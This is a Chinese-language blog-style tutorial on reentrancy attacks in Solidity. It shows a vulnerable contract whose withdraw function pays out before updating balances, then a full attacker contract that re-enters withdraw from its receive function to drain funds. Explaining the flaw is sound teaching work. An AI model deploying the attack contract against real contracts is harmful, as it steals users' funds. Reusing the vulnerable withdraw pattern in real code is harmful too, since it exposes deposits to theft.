安全审查-谈谈Reentrancy攻击

在Defi的应用中,防止重入攻击是最基本的需求,曾经也有很多因为没有防御机制,造成重要损失的现实案例。可以先看一下没有防御机制的代码

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    constructor() public payable {}

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

重点关注withdraw函数,只要调用者还有余额就可以通过call把指定金额发送给调用者。这么看逻辑上是没有问题,但是为什么可以被攻击呢?我们来仔细看call这个函数的底层机制。在执行call的时候,执行权交由调用者,这时候调用者会执行自己的receive/fallback或者指定的函数。由于call是底层函数,gas没有限制,所以调用者可以执行更复杂的代码。在执行过程中,被攻击合约的状态变量当时还没有变化,也就是说balances[msg.sender]还没有改变,如果传递的金额满足判断条件(balances[msg.sender] >= _amount),再次调用withdraw的时候,还可以再次执行call函数,反复执行。这个有点类似回调函数执行。直到余额都被盗用完。所以有以下攻击代码:

interface IReentrance {
    function withdraw(uint256 _amount) external ;
    function donate(address _to) external  payable;
    function balanceOf(address _who) external view returns (uint256 balance);
}

contract ReentranceAttack {

    IReentrance reentrance;
    
    constructor(address _reentrance) public payable {
       reentrance = IReentrance(_reentrance);
    }

    function attack(uint256 amount) public {
      (bool success,) = address(reentrance).call{value: amount}(abi.encodeWithSelector(bytes4(keccak256("donate(address)")), address(this)));
      require(success, "attack failed");
      reentrance.withdraw(amount);
    }

    receive() payable external  {
      if (reentrance.balanceOf(address(this)) > 0) {
        reentrance.withdraw(reentrance.balanceOf(address(this)));
      } 
      
    }
}


如有任何问题欢迎邮件沟通:huicanvie2014@gmail.com